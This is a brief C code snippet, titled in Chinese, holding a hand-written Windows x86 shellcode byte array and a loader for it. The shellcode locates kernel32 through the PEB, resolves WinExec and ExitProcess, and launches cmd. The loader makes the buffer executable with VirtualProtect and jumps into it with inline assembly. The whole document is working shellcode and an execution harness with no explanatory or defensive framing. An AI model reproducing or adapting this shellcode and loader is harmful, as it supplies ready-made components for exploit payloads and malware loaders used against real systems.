shellcode启动cmd加退出进程和写保护

char shellcode[] =
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
"\x24\x20\x57\xFF\xD0";

int len = strlen(shellcode);
DWORD l = 0;
printf("shellcode length %d bytes\n", len);
VirtualProtect(shellcode, len, PAGE_EXECUTE_READWRITE, &l);
system("pause");
__asm
{
lea eax, shellcode
jmp eax
}